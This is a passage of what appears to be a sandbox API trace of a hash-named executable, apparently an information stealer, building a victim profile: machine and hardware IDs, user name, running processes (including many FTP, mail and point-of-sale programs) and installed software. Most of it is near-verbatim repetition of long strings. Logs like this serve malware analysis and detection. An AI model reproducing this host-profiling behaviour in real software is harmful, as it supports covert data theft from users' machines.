3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016"
[0054.967] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.967] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 ["
[0054.967] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- 